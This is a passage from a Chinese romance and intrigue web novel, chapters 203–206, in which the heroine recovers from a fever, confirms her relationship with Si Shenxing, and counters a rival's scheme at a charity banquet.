夏灼灼思索一番后,还是决定谨慎一些,让冯邵阳帮她留意监狱里的情况。 窦斯礼一旦被放出来,要第一时间告诉她。 做完这些,夏灼灼才洗漱好躺下。 可是怎么也睡不着。 她又想到了跟司慎行的接吻,脸烫成了一片。 可是很快又想起了杜浩然被烧焦的样子,以及当时空气中难闻的味道。 她的后背又冰冷一片。 第二天醒过来,是被夏太太叫醒的。 夏太太的表情很着急。 “灼灼,你醒了?” “小七!你觉得怎么样?还有哪里不舒服吗?” “妹姐,我这几天不去上班了,在这里陪你。” 夏灼灼有些艰难地抬起眼皮,茫然地问:“你们怎么都在我房间?” 夏太太眼睛一红,几乎要掉眼泪。 她握着夏灼灼的手说:“你发烧了,烧了两天,一直迷迷糊糊的。” 夏六也说:“小七,这不是家里,这是在医院。” 夏灼灼这才发觉自己身在医院。 但下一秒,她很着急地抓住夏六的袖子。 “今天是周几?” “周五。” 夏灼灼的心狠狠揪紧。 “现在几点了?上午还是下午?” 夏六看她神色越发着急,忙回答:“上午,上午九点十分。” 听到这话,夏灼灼微微舒了一口气。 还来得及。 紧绷的弦在这时候微微松开。 夏太太疑惑地问:“灼灼,怎么了,你是有什么安排吗?” “嗯,我受邀参加一个酒会,就在今天。不过酒会下午四点才开始,还来得及。” “什么来得及?你的烧刚退,人也刚醒,如果不太重要,就推了,咱先好好养好身体。”夏太太说。 夏灼灼很认真地看了夏太太一眼。 嘴上什么都没说,但夏太太已经从她的眼神里体会到了。 这个酒会,很重要。 夏太太叹了一口气。 “至少今天上午你先好好把点滴挂完,再回家。” 夏灼灼笑了。 “谢谢妈!” 夏太太很担心她,把她的安全放在第一位,却也很聪明,她不会耽误夏灼灼的正事。 有这样一个开明的妈妈,怪不得兄弟几个都是有实力并且正直的人。 只是都运气不好。 夏灼灼的回归,只是给他们带来了原本属于他们的气运罢了。 如果他们没实力,夏灼灼再努力,再强大,也不能让瓦砾绽放出钻石的光辉。 “三哥呢?”夏灼灼看了病房一圈。 几个哥哥都在,夏怀征也来了,只是为了掩人耳目,他还坐着轮椅。 唯独夏怀乐不在。 夏六回答说:“他在公司,昨天你昏迷的时候,他一直都在,你今天早上烧退了,公司又一直打电话催他,他这才走。走了不到半个小时,要叫他回来吗?” 夏灼灼摇头:“不用。” 她只要确定夏怀乐也会去参加酒会就行了。 让夏怀乐回公司,应该是蚊子的意思。 夏灼灼跟蚊子说的很明白,夏怀乐必须参加酒会。 “对了,你的朋友也来看过你。”夏六道。 “哪个朋友?” “就是上周你带她来跟我们去湖畔大饭店吃饭的那个小姑娘。” 夏灼灼了然。 是秋雨。 估计是她昏睡了两天,他们联系不上她,才派秋雨来查看情况。 正说着,秋雨又来了。 她手里提着一个保温杯。 “老……老朋友,你可算醒了!” 秋雨差点因为激动,叫她“老大”了,索性及时改口。 夏灼灼弯了下唇,对其他人说:“我想跟小雨单独聊一会儿。” “正好,我们去跟医生说一声。” “那我去看看有没有什么水果好吃的,给你买回来。” 几个人很快都离开了。 把空间留给她们。 第203章 病倒 人一走,秋雨立刻眼藏不住情绪,趴在她的床边啜泣起来。 “吓死我了,我还以为你出事了……” 她一边哭,一边说着这两天的情况。 那天夏灼灼离开警局之后就失联了。 加上刚出了杜浩然的事情,他们以为杜浩然虽然死了,但还留有后手,把夏灼灼怎么了。 他们急得像热锅上的蚂蚁。 “谷仔沉不住气,差点直接杀到杜家去。还好我聪明,拉住了他,知道先来你家里看看。这才知道你高烧不退,住院了。” 夏灼灼听了也紧张了一瞬。 谷仔如果真的杀上门,不仅败露暗部,杜家还会就此跟他们结仇。 她杀了杜浩然,却并不想跟杜家人作对。 “你做的很好,你长大了。”夏灼灼摸摸秋雨的头。 秋雨的脸不好意思地红了。 “警局那边,情况怎么样?”夏灼灼问。 秋雨道:“已经认定是一场意外了。车子烧成那样,什么痕迹也没有。而且大家的口供都是统一的,那么多人看到是杜浩然自己组织的比赛,没人会猜到你身上。” 夏灼灼点头。 这跟她料想中的一样。 她又说起另一件事。 “今天下午的活动,你没忘记吧?” 秋雨愣了一瞬,一拍脑袋,说:“你不提,我还真差点忘了……” “回去吧,好好准备准备,到时候我来接你。” “好。只是……你身体能撑得住吗?” “放心,烧已经退了,我没那么虚弱。” 她生病,一个是杜浩然死的那天晚上,她吃进了冷风,受了寒。 还有一个,是那天她的确感到了对死亡的恐惧。 看着杜浩然被烧焦的尸体,她总感觉自己行差踏错哪怕一步,死的人就是她。 身体受寒,心中惊虑,自然就病倒了。 现在烧退了,身体也就慢慢恢复了力气。 以前她对死亡并没有那么害怕。 因为她孤身一人,无牵无挂,她走了,谷仔、秋雨他们虽然会乱一阵,但依旧会过得很好。 但现在不一样了。 她身后还有夏太太,几个哥哥,还有……司慎行。 她要死了,他们都会为她很伤心。 尤其夏太太,刚找回女儿,又再次失去。 这对她会是致命一击。 所以她舍不得死了,所以对死亡自然就产生了害怕。 秋雨认真地望着她,突然说:“老大,我觉得你有点变了。” “什么?” “变得比以前像个人了。” “……你在骂我吗?” “我在夸你。以前你不像人,像个不食人间烟火的仙女儿,现在你有了七情六欲,是个真正的人了。” “……” “好了,我不打扰你休息了,先回去跟谷仔他们说一声,说你病好了,然后准备下午的酒会。” “去吧。” 秋雨站起身,又想起一件事,说:“老大,等活动结束,我告诉你一个好消息。” 话音刚落,病房的门被人急急忙忙推开。 是司慎行。 他应该是刚从工地视察完回来,头上还戴着个白色的安全帽。 黑色西装,搭白色安全帽,很怪异的打扮。 夏六跟在司慎行后面,对夏灼灼做了个抱歉的手势。 “我没拦住他……” “没事,我们已经聊完了。”夏灼灼说。 秋雨顺势走了出去,没忘记提醒夏灼灼喝她带来的莲子百合汤。 走到门口,又扭头,深深朝司慎行看了一眼。 这就是老大喜欢的男人吗? 真够帅的! 他们生出来的孩子一定很好看。 秋雨跟夏六很快一起退了出去,病房里只剩下夏灼灼和司慎行两个人。 门一关上,司慎行二话不说,揽住她的后脑勺就将唇贴了上来,用力吻着她。 夏灼灼吓了一跳,等回过神来,连忙把人推开。 “别……你松开。” 她一边说,一边捂住自己的嘴,防止司慎行猝不及防又吻她。 司慎行无奈扯了下唇。 “别怕,不亲你了。” 夏灼灼这才挪开手,但双目仍然是很警惕。 司慎行更无奈了。 他碰了碰自己头上的安全帽,说:“我风尘仆仆从工地里赶过来看你,你就这么对我?” 夏灼灼翻了个白眼。 “你以为我傻?这是你故意从工地里戴过来给我看的吧?” 司慎行耸肩。 “什么都瞒不过你。” “不是你什么都瞒不过我,是你身边的人都不是眼瞎的。” 司慎行身边的人做事都细心,司慎行戴着安全帽跑到医院,他们肯定会提醒他,不至于犯这么大错误。 司慎行这是在耍心机。 不过,她并不介意他蠢蠢的心机。 甚至还有点甜蜜。 她有点理解古代皇帝为什么看到妃子们为自己斗来斗去还能忍了。 有人为你花那么多心思,是一件会让人高兴的事。 所以只要不过分,就能忍。 “摘了吧,跟你不搭。”夏灼灼说。 司慎行立刻就把安全帽摘了。 “你现在怎么样了?还烧吗?除了发烧,还有没有哪里不舒服?全身检查都做过了吗?” “我已经没事了。”夏灼灼言简意赅回答他一连串问题。 “我是刚知道你来住院了的。”司慎行说着,打了个哑谜,问她:“你猜,是谁告诉我的?” “谁?” “猜一猜。” 夏灼灼想了想,说:“院长?” “不是。是阿麦。” “……他是怎么知道的?” “谷仔告诉他的。”说完,他意味深长地看了她一眼。 夏灼灼的眼皮狠狠跳了两下。 只听司慎行说:“你应该也猜到了吧?他们两个,是亲兄弟。” 夏灼灼的心跳快起来。 她想起秋雨说的那句“等活动结束,我告诉你一个好消息”。 所以好消息,就是指这个好消息? 那还真是一个好消息。 谷仔的哥哥没死,而且他还是阿麦。 没什么好消息比这个更让人高兴的了。 “他们已经相认了?” “嗯。” “怎么相认的?” “还记得蛇山的事情发生之后,谷仔作为目击证人,也被带去做笔录了吗?” “嗯。” “我当时开车带了你走,让阿麦送他。他们一见面,就知道对方是谁了。” 夏灼灼了然。 他们失散的时候,年纪都不算特别小,都记事了。 见面就认出对方,这不是什么很奇怪的事。 “我应该早点让他们见面的。”夏灼灼说。 她很懊恼自己的犹豫。 因为怕弄错,让谷仔白高兴一场,平添伤心,所以一直没能下定决心促使他们见面,才耽搁到了今天。 她也经历过认亲,她懂亲人之间不能更早见面的失落。 司慎行拍拍她的手。 “现在见面也不晚。” 夏灼灼抬起脸,眼睛亮晶晶的。 “嗯,现在也不晚。” 只是不知道谷仔有没有把暗部的事情告诉阿麦? 阿麦如果知道了,司慎行也应该知道。 可看司慎行的反应,应该是还不知道。 她微松了一口气,自己也不知道自己在紧张什么。 大概是担心,瞬息万变的人心。 现在司慎行确实是喜欢她这个人,可他知道她是暗部首领,知道她势力、财力无限,还能像现在这样,只单纯喜欢她这个人吗? 他会不会,也跟宗域一样,被利益蒙蔽了双眼呢? 毕竟……宗域曾经也像司慎行这样,恨不得把她捧在手心。 可转眼也背叛了她。 一朝被蛇咬,十年怕井绳。 夏灼灼暂时还不敢冒这个险。 她得提醒谷仔,暂时不要把这事告诉他哥。 她得确保暗部的一切都安排妥当,不会因为自己再一次看错人,而被牵连的时候,才会告诉司慎行自己的身份。 可能她这么做,对司慎行来说很自私。 可如果不这么做,对暗部的人来说,她也很自私。 “在想什么?” 司慎行的声音打断了她的思绪。 夏灼灼快速回神,才发现司慎行把秋雨带过来的保温杯打开了。 “没想什么……” “喝点吧,莲子降火的,可能对你发烧有用。” “我已经退烧了。”话是这么说,她还是接过保温杯,一口一口喝了起来。 司慎行一边看着她喝,一边说:“杜浩然已经确认是意外死亡,五天后办葬礼。到时候,我们一起去?” “好。” 司慎行突然沉默几秒后开口:“灼灼,我们……算是在一起了吧?” 这个问题,在那天他亲了她之后就想问。 可他怕得到的答案是否定的。 怕她只是因为被烧焦的杜浩然刺激到了,才会同意她吻他…… 夏灼灼拿着保温杯的手微微收紧。 司慎行也不着急催她,安静地等着她回答。 他看起来很安静,但他微微发抖的手,出卖了他内心的紧张。 终于,夏灼灼开口了。 “你答应我一个条件,我们就算在一起。” 司慎行的眼睛骤然亮起来,同时觉得有些好笑。 “你笑什么?”夏灼灼瞪他一眼。 司慎行立刻不敢笑了,假模假样地板起脸,回答她的问题:“我是在笑,我们两个都不是什么正常人。” “什么意思?” “我跟你表白的时候,像是在跟你谈生意。现在我问你算不算在一起,你的回答……也像是在谈生意。” 夏灼灼眉头一敛,正要说她就这么一个人,不想谈就算了,就听司慎行说:“这说明,我们两个是一样的人,我们天生一对。谁也别想拆散我们!” 第204章 他人都是她的 夏灼灼心里那点子小生气,一下子烟消云散了。 司慎行有时候说话、做事太直接,像个莽夫。 夏灼灼应对钩心斗角的事情多了,反而不太擅长跟莽夫对上。 因而她有点无言以对了。 但她的脑子转的很快,重点很快落在了司慎行那句“谁也别想拆散我们”上。 “谁想拆散我们?”夏灼灼问。 司慎行一噎,想不到他随口一句话,夏灼灼就察觉到了不对。 他打着哈哈:“谁敢拆散我们?” 夏灼灼眉头微微皱起来,开口道:“我刚才说你要答应我一个条件,我们才算在一起,你还没问是什么条件。” 司慎行很无所谓。 “只要跟你在一起,我什么都听你的,条件不条件的,不重要。” 他人都是她的! 夏灼灼依旧蹙眉。 “你得先答应,我们才算在一起。” 司慎行只好说:“那你说。” 夏灼灼道:“很简单,那就是不能瞒着我任何事。” “……” “能答应吗?” “……能!” “那你说吧,谁想拆散我们?” “……”司慎行没想到她是在这儿等着呢。 都怪他多嘴! “怎么?刚答应就想反悔?” “不是……” “那你就说。我倒数三个数,你要是不说,那你现在就走。三……” “我说!” 夏灼灼安静地望着他。 司慎行只好硬着头皮开口:“上周,我们一起吃饭的时候,你还记得我接了个电话吗?” 夏灼灼点头:“接了那个电话之后,你的表情就不对劲。我问你,你也不说。” “是我爸打来的……” 夏灼灼立刻猜到了什么,确认道:“司董事长不想我们在一起?” 司慎行如实点头:“是。” “……”夏灼灼的表情复杂起来。 她万没想到想拆散他们的人,是司董事长,司慎行的父亲。 都说不被长辈祝福的婚姻无法美满,但之前,司董事长分明主动找到了夏太太,提起了他们的娃娃亲。 他之前是有意促成他们的。 “为什么?”夏灼灼问。 司慎行道:“还在查。” 夏灼灼抬眸盯着他。 司慎行举起右手:“我发誓,真的不知道原因,我还在查。” 夏灼灼收回视线。 “行,查到了,第一时间告诉我。” “好。” 司慎行郑重点头。 但很快他就又严肃不起来了,身子往她手边挪了挪。 “灼灼,我现在是不是想亲你就可以亲你了?” 夏灼灼的脸爆炸红。 “你是不是脑子里只有这档子事?” “裆子?我只是亲亲你而已,哪里到裤裆子这一步了?” “我说的不是这个裆子!” 司慎行蓦地笑了。 夏灼灼立刻明白了,他是故意误解的。 她狠狠瞪他一眼。 “你什么时候走?” “刚来就要我走?” “嗯,我妈他们都还在外面等着呢,你在里面待这么久,他们会多心。” “多心什么?伯母早知道我的心意了。” 夏灼灼瞪大眼睛。 “什么时候的事?” “就你第一次邀请我到你家里吃饭的时候。” 夏灼灼的眼睛瞪得更大了。 竟然是在那么早的时候…… 妈妈瞒的还真好,她一直以为她不知情的。 难怪她晚归的时候,司慎行帮她找借口,妈妈一点也不担心。 “所以……你放心跟我独处吧。” 说话间,他又吻上来。 夏灼灼担心把病气过给他,很快别开了脸。 “等我病好了再说,现在不行。” “不行,我忍不了,我等好久了……” “你不要脸。” “老婆面前要什么脸?” “我只是你女朋友。” “那你的意思是想尽快成为我的妻子吗?我身份证在身上,随时可以跟你去结婚。” 夏灼灼闭了闭眼,不想跟他说话了。 “我下午还有别的安排,你早点回去,我再休息一下。” “那你睡,我不说话,就在旁边陪着你。” 夏灼灼想拒绝,可困意来得很快,也可能是司慎行在旁边,她莫名安心,很快就睡着了。 司慎行替她轻轻盖好被子,慢慢退出去。 病房门口,等着好几个人。 除了阿麦,都是夏家人。 阿麦正跟他们说话,话里话外都带着讨好的笑。 ——阿麦跟着他,身份也水涨船高,他不曾这样对其他人。 他是在为自己讨好他们。 司慎行觉得自己选人的眼光还是很精准的。 他走过去,一一跟夏家人打招呼。 他猜到夏灼灼应该是没告诉家里人杜浩然的事,也就没提。 “灼灼睡着了,医生怎么说?”他问夏太太。 夏太太看了眼他手里拿着的工地安全帽,道:“只是伤寒感冒引起的发烧,烧退了就行了,别的没有大碍。” 司慎行松了口气。 “医者不自医,她这是太不把自己的身体当回事了。” 夏太太深以为然。 “她天天忙……老是顾不上自己。要是结婚了就好了,有个人可以管着她,也替她分忧。” 司慎行立刻保证。 “等忙完最近的事,我就跟灼灼求婚。” 夏太太很高兴。 她是满意这个女婿的。 “我还有事,得先走了,灼灼这里还麻烦您多照看着点。” “当然,我是她妈妈。” “那伯母再见,哥哥们再见。”司慎行挥了下手。 几个哥哥无一例外露出惶恐的表情。 只有夏怀征,他作为大哥,到底年长一些,表情还算平静。 “去吧,这儿有我们。” “多谢大哥。” 司慎行点点头,带着阿麦走了。 夏怀呈的脑子转得慢一些,等司慎行的身影消失在视野里,立刻叽叽喳喳问开了。 “他们怎么回事?” “司慎行当真喜欢我们的小七?” “什么时候开始的?” “小七怎么想?” 夏太太一一回答。 大概是看夏太太不反感司慎行和妹妹的来往,其他几个兄弟也没吱声,他也就没多说什么。 只是有些伤感。 妹妹刚到家没几个月,就要嫁出去了吗? 真是舍不得。 他甚至在考虑,要不要让司慎行入赘,这样妹妹就能留在家里。 可想到司慎行的身份,他还是理智地让自己死了这条心了。 …… 另一边,司慎行跟阿麦离开医院后,阿麦忍不住问:“夏小姐知道我跟谷仔……” “已经知道了。” “她什么反应?” 司慎行笑了下:“你以为她猜不出来?她只是怕自己弄错,平添失望。” 阿麦点点头。 司慎行又说:“等她身体好了,带你弟弟来跟我吃个饭。” “好!”阿麦应下后,又开口道:“夏小姐今天下午可能要出门,参加一个……” “不该打听的事情,以后不要打听。尤其找谷仔打听。” “……是。” “你是他哥哥,但他是灼灼的人。他夹在中间,会两头为难。还有,灼灼不希望我打听太多她的事情,你跟我做到知行合一,只谈兄弟情,不谈其他。” “是!” 司慎行这才满意了。 他答应了夏灼灼的事情,不会反悔。 她的事,他会等她主动告诉他。 当初从季恒嘴里听说宗域的事情,他已经犯了错,他不会犯第二次。 否则时间长了,他们会有信任问题。 这在感情中是大忌。 这些季恒不曾教他,是他自己领悟的。 …… 很快到了下午。 夏灼灼补了一个很长的觉,不过她定了闹钟,提前醒过来了。 病床旁边有大哥和六哥在。 她夏六帮忙,帮她从家里带一些东西过来。 没曾想夏六都提前为她准备好了。 “这是化妆的东西,这是衣服,我带了三套,不同风格的,你看看哪套适合你今天要去的场合。” 夏灼灼呆呆看了眼夏六。 夏六问她:“怎么这么看我?” “六哥。” “嗯?” “上班之后,你做事比以前细心多了。” “我一直都很细心。也很聪明。” 只是这阵子他忙,不能跟一开始一样,天天跟在夏灼灼后面当跟屁虫而已。 不过忙完这一阵,他又可以当跟屁虫了。 夏灼灼笑道:“也是。” 她的力气已经恢复得差不多了,下床后,两个哥哥避了出去,夏太太进来帮忙。 夏太太帮她选了一条黑色的长裙。 “烧刚退,不能受凉,尤其是肚子和膝盖。这件裙子最好。” 夏灼灼点头。 之后夏太太亲自为她上妆。 妆容画到一半,夏太太的眼眶突然有点红。 夏灼灼吓了一跳,问:“妈,你怎么了?我只是发烧而已,现在不是没事了吗?” “不是这个……” 夏太太快速擦掉了眼角的眼泪,说:“我给你化妆的时候突然想起来,等你结婚,也是我负责给你梳头的……一想到你可能很快就要离开妈妈了,妈心里就舍不得。” 夏灼灼听着,眼角也有点红。 “妈,先不说我跟司慎行能不能走到结婚那一步,如果真的结婚了,我会带您一起住的。” 夏太太却不赞成。 “阿行没有妈妈,你不会有婆媳问题,我又怎么能去给你们增添岳婿问题?” “丈母娘看女婿不是越看越顺眼吗?” “那倒也是,但时间长了不一定。我看人家顺眼,人家未必。还不如住远一些,反而关系更亲一些。” “反正……现在说这些还早。” “也不算早,你二十五了。我在你这个年纪,已经生了你二哥。” “……” 夏灼灼及时打住话题,让夏太太继续给她上妆。 夏太太的手艺很好,夏灼灼漂漂亮亮地出门了。 秋雨早已经在住院部楼下等。 “灼灼姐。”她已经把称呼改得很顺口了。 第205章 酒会设局 夏灼灼看向秋雨的脸,微微一笑。 那天秋雨去湖畔大饭店的妆容并不适合她。 回去的路上夏灼灼跟她说过什么妆容适合她,她今天果然就画了这样的妆容。 秋雨生了一张娇俏的小脸圆,像初升的满月莹润可爱。 一双杏仁眼同样圆溜溜的,鼻头圆润小巧,看起来就叫人欢喜。 今天的妆容偏淡,但腮红打的满,远远看去,像是橱窗里会眨眼的瓷娃娃。 如今虽然时髦的是瓜子脸,但秋雨这样的,反而是另一种别具一格的漂亮。 “你今天很漂亮,越来越会打扮自己。”夏灼灼夸道。 秋雨红了脸。 这妆容,她练了很多天,没白费功夫。 出门的时候,谷仔也说“挺顺眼”。 夏灼灼不再多说,跟夏太太和哥哥们告别后,躬身上车。 出院手续,家里人会办,她结束之后只需要直接回家就是了。 开车的不是谷仔,不过也是暗部的人,叫田野,跟谷仔自称谷田兄弟。 “老大,你身体没事了吧?刚联系不上你那一天,谷仔简直要吓死。” 夏灼灼道:“我没事了。” 又说:“你们回去要好好提醒谷仔,如果有一天我真的不在了,他也要支棱起来,不能没了我,就乱成一团。” 这次的事情,也是一个警醒。 谷仔太依赖她,这不是好事。 人只要活着就会有这样那样的意外,万一哪一次她阴沟里翻了船,暗部还是得有人撑下去。 这个人就是谷仔。 夏灼灼对他寄予厚望,所以不希望他再像现在这样,太过依赖她。 “……是。”田野应着,心里却也有些难受。 老大是他们的精神支柱,真到了那一天,别说谷仔了,他这个跟老大算不上很亲的人,也会绷不住。 车子很快开到了目的地——未来之境。 炎享今天的慈善酒会,正是在这里举行。 之前展览的东西早被撤出去,布置成了酒会模样。 记者们蹲守在红毯上,等着艺人们登场。 夏灼灼不是艺人,直接从西侧门进。 西侧门接应的是蚊子的助理,恭恭敬敬把她们请进去。 “两位可以自由活动,有任何需要我帮忙的,随时吩咐。” 这个助理并不知她的身份。 但知道蚊子对她很恭敬,因而也自带恭敬。 夏灼灼摆摆手,示意他去忙她的。 助理走后,夏灼灼从侍应生的托盘里取了两杯香槟,分给秋雨一杯。 “人会来吗?”秋雨看了看周围,有点不确定地问。 她们是最早到的。 酒会厅里还很空旷,只有零星几人。 夏灼灼晃着香槟杯,只闻香气,不喝。 她酒量不好,但司珏羽的酒量奇好。 “会。”夏灼灼语气笃定。 霍刚听她的吩咐,给司珏羽下了最后通牒。 过了今天,司珏羽必须离开沪城。 她想动手,就必须得在今天之内成事。 而她提前一周带秋雨刺激了司珏羽。 依照她对司珏羽脾气的了解,司珏羽绝对坐不住。 渐渐的,有人进场了。 蚊子给夏灼灼发消息,夏怀乐会是压轴出场。 ——炎享对夏怀乐的重视是前所未有的。 公司里的几个大咖一开始颇有微词,直到看到了夏怀乐演戏,就再不说什么了。 他是有天赋的人。 换言之,天生吃这碗饭的人,他会火。 而且是大火特火。 或许他们将来也需要夏怀乐的帮忙,因而公司对夏怀乐的重视大家都没有别的话说了。 多个朋友,多条路。 聪明人都不愿意树敌。 只有许星耀。 他心里憋着一股气。 在司享,他得到的资源是很好的,可来了炎享,各个待遇都不如夏怀乐。 像今天这样的场合,换成在司享,压轴的人大概率是他。 可现在,他竟是头几个走红毯的,而且还是跟几个刚出道的新人。 许星耀进了内场,脸上的笑容就立刻消失了。 他很不爽。 不仅仅是因为今天,还因为以后。 今天的计划成了,夏怀乐只会更上一层楼,而他……还不知道前途在哪里。 但如果不这么做,他的前途就彻底没了。 许星耀出道以来顺风顺水,这阵子还是他第一次感到前路艰难。 就在这时,许星耀看到了夏灼灼。 像第一次看到她的时候那样,许星耀又被惊艳了几秒。 但也仅仅只是几秒而已。 娱乐圈美丽的皮囊众多,他不至于被晃了眼。 夏灼灼也看到他了。 四目相对,许星耀率先别开眼。 这个女人,他总觉得她很邪门——那双杏仁眼,仿佛能穿透人心。 只是许星耀刻意躲避,夏灼灼却主动找上了他。 “许先生,好久不见,你有见到我三哥吗?” 许星耀勉强堆出笑容。 “夏小姐好,你叫我星耀就行。你三哥今天是压轴出场,最后一个才进来。” 夏灼灼露出很惊讶的表情。 “我三哥现在都能压轴出场了吗?看来他真是要火了。” 许星耀的笑容更勉强。 夏灼灼又疑惑地看着他。 “你比我三哥要红很多,怎么这么早就进场了?” 许星耀更加笑不出来。 但他今天不愿意生事,只想安安静静按照司珏羽的计划走。 他是当红艺人,但资本的强权面前,他什么也不是。 于是露出比哭还难看的笑容说:“乐哥有天赋,早晚会比我红的。我去找我经纪人,夏小姐自便吧。” 说完就要走。 夏灼灼没拦他,只是一直盯着他的背影。 只看到许星耀的面部肌肉非常僵硬,一副马上就要控制不住表情的样子。 她的话,果然在许星耀心里埋下了一根针。 不多时,艺人们陆陆续续进来了。 蚊子今天亲自出席,说了开场词后,开门见山地说:“一个小时之后开始慈善拍卖会,现在大家自便吧。” 他走下台,很快去了休息室。 老板不在,气氛很快热闹起来。 夏怀乐也来到夏灼灼面前,惊喜又担忧。 “小七,你怎么会来?我还想着结束之后就去医院找你。你好点了吗?” 夏灼灼道:“我就是伤寒感冒,已经出院了。听说这儿有热闹,我就来凑凑热闹。” “那你别喝酒,感冒了不能碰这些,跟消炎药也相冲。”夏怀乐细心叮嘱着。 但很快有几个艺人走到夏怀乐面前打招呼。 夏灼灼让他不要顾及自己,去玩他的就好了,便去甜点区找秋雨了。 秋雨正在吃一块慕斯蛋糕。 看得出来她很焦灼,好好的慕斯蛋糕,被叉子划拉成了一团。 看到夏灼灼过来,她立刻问:“艺人们都进来了,司珏羽怎么还不来?不会真不来了吧?” “她会来。” 夏灼灼仍然是很笃定。 她的目光一直盯着许星耀。 正好看到许星耀接了个电话,表情很严肃的样子,很快往西侧门走去。 “她来了。”夏灼灼说。 秋雨顺着她的视线看过去,果然看到许星耀带着司珏羽出现。 司珏羽今天穿的很低调。 一身暗色的晚礼服,在一众明星里,像个背景板。 她身后还跟着个高大的男人,长相普通,但看得出来是个练家子。 夏灼灼早从霍刚那里得知,霍刚不再跟着司珏羽后,司珏羽就从京都那边调了两个保镖过来。 其中一个就是这个人。 霍刚给她看过照片。 许星耀带着司珏羽,去了蚊子所在的休息室。 夏灼灼算准了时间,在司珏羽出来前两分钟,让秋雨找到夏怀乐。 “乐乐哥。”秋雨主动打招呼。 夏怀乐看秋雨的眼神跟看夏灼灼的一样,都带着亲昵。 秋雨是夏灼灼的闺蜜,他自然也把她当妹妹。 “小雨,你也来了?” “嗯,我喜欢一个明星,求灼灼带我来的。但是我不好意思找她要签名,你可以带我去吗?” “当然可以,你喜欢谁?” 秋雨指了个女明星。 那女明星是个演技派,是很大气的长相,正好跟夏怀乐有过广告拍摄合作。 “走,我带你去。” “谢谢乐乐哥。” “谢什么?自己人。”夏怀乐笑着领着她去见了那位女明星。 这一幕,恰好被从休息室里走出来的司珏羽看在眼里。 她用力攥着裙角。 如果是她,夏怀乐绝对不会领着她去找人的。 他看到她,如避蛇蝎。 “司小姐,要冷静。”旁边的许星耀及时提醒,生怕司珏羽脾气一上来,冲到秋雨面前就是一耳光。 “我知道。” 司珏羽慢慢松开了裙角,抚平上面的褶皱,迈步朝夏怀乐走过去。 夏怀乐看到她,脸上浮现明显的惊讶,紧接着眉头就皱了起来。 司珏羽看在眼里,恨在心里。 她自己都分不清,她对夏怀乐到底是喜欢更多,还是得不到的执念更多了。 “不介意单独跟我聊几句吧?”司珏羽问。 夏怀乐不说话,想用沉默拒绝。 司珏羽到底是女孩子,他不喜欢跟她在这种场合闹得太难看。 司珏羽却像是听不懂,就站在原地,静静看着他。 旁边的秋雨拉了拉夏怀乐的袖子,无辜的大眼睛眨巴了两下问:“乐乐哥,这是谁?” 夏怀乐对上秋雨的视线,眼底的疏离就退去了。 “前公司的一个领导。” 第206章 杀敌一百自损三千 “哦,这样啊……那我跟笙姐去玩了。你们聊。” 听说是“前领导”,秋雨就毫不关心司珏羽了,带着夏怀乐介绍给她认识的女明星就走了。 司珏羽的目光刚才放在秋雨拉夏怀乐袖子的手上,而后乍然又听到夏怀乐如此介绍她,加上秋雨不把她放在眼里的行为,她心里的怒火几乎压不住。 她死死咬着牙,说:“原来你喜欢这样的?” 夏怀乐蹙眉。 “我喜欢什么样的,跟司小姐无关。司小姐,我已经离开司享了,以后我们见面就当不认识吧。” 说完,他转身便走了。 司珏羽被气得差点呼吸不上来。 两只手紧紧攥成了拳头。 暗自发誓,她一定要得到夏怀乐! 她拿出手机,拨通了手下的电话。 “计划开始,去外面,接那个人进来。” “是。” 司珏羽的手下从西侧门出去了。 夏灼灼刚被那人盯着,暂时做不了什么事。 这会儿没人了,司珏羽的注意力又都在夏怀乐身上,她很容易就来到了许星耀身边。 “许先生,方便再聊几句吗?” 许星耀望着她。 “我们之间好像没什么可聊的吧,夏小姐?” “那可不一定。”夏灼灼微微一笑,说:“说不定,我可以给你你想要的东西。” 许星耀微微蹙眉。 夏灼灼晃了晃手机,递给许星耀。 “有个人想跟你说话,你接一下吧。” 许星耀狐疑地接过。 片刻之后,他微微瞪大了眼睛,脸色出现明显的变化。 “这……是……我考虑考虑。” 通话结束,许星耀把手机递了回来,态度却跟之前对夏灼灼的完全不同。 “你是怎么认识……” “这不重要。重要的是,你打算怎么选?选一个未知的前途,还是我们许诺给你的实际的好处?” 许星耀深深吸了一口气,说:“司珏羽有个计划……” 夏灼灼认真听完了。 她对着许星耀一点头,说:“那我们的同盟,就算达成了。” “你会反悔吗?”许星耀很着急地问。 夏灼灼深深看他一眼。 “反悔?许诺给你的这点小东西,我还需要反悔?” 许星耀一噎,不再说话了。 夏灼灼很快走了。 许星耀攥紧手心,指间还有点发抖。 他背叛了司珏羽。 几分钟前,他还没冒出过这种想法。 现在却已经做了。 但夏灼灼连那人都能联系上……他愿意赌这一把。 …… 夏灼灼又回到了甜点区。 她安安静静地吃着一块慕斯蛋糕。 甜品能让人心情愉悦,头脑冷静。 不多时,一个人突然出现在她面前。 正是许姨。 夏灼灼露出很明显的惊讶表情。 “许姨,你怎么来了?” 许姨笑着说:“太太担心您身体不好,参加活动会累着,让我陪着您。” 夏灼灼点头:“也好。” 她的余光却在看某个方向。 司珏羽的那个手下,正盯着这边。 “夏小姐,您要不要休息一会儿?我看您的脸色有些发白,不如去喝点热水,坐一坐?” 夏灼灼点头答应了。 “那就去休息室吧。” 这里的休息室很多,夏灼灼选了一间空的进去。 里面没有床,但有很大的沙发。 门一关上,许姨立刻端着一杯水过来。 “七小姐,这是他们让我给您喝的水。” 司珏羽并不知道许姨早已经倒戈回夏灼灼这边,故而很放心地用她。 而夏灼灼病的时机很好,正好给了许姨名正言顺找过来的借口。 老天也在助她。 她接过水杯,观察片刻,又用银针试探,随即说:“里面只放了安眠药,看来司珏羽顾不上害我跟秋雨,只想促成她自己的事。” 许姨点头:“他们只让我守在您身边,给您喝这杯水,就没吩咐我做别的事了。” 夏灼灼应了声,说:“那我们就等着好戏看场吧。” 她走到窗边,推开了这里的窗户。 这儿的窗户很矮,只到她胸口的位置,很容易就能爬出去。 她打了个电话给谷仔。 “准备一下吧。” “是。” 许姨有些惊讶。 “还有人知道我们的事吗?” “许姨,您不用问这些,在这里等就是了。” 许姨用力点头。 她没什么头脑,反正夏灼灼让她做什么,她就做什么。 …… 酒会上很快出了事。 秋雨路过一个嘉宾,那嘉宾突然说秋雨撞了她。 秋雨没撞到任何人,自然不承认。 她想直接走,但那个艺人揪着她不放,两个人吵了起来。 夏怀乐发现了情况,立刻走过来。 “小雨,怎么了?” “她污蔑我!我没撞她!” 那艺人反驳:“怎么没撞我?我又不是植物人,有人撞我我感受不到吗?” 夏怀乐直接说调监控,那艺人立刻怂了,说自己可能弄错了,便扭头离开。 “她故意陷害我!也不知道为什么,我又不认识她,更没有得罪她。”秋雨说。 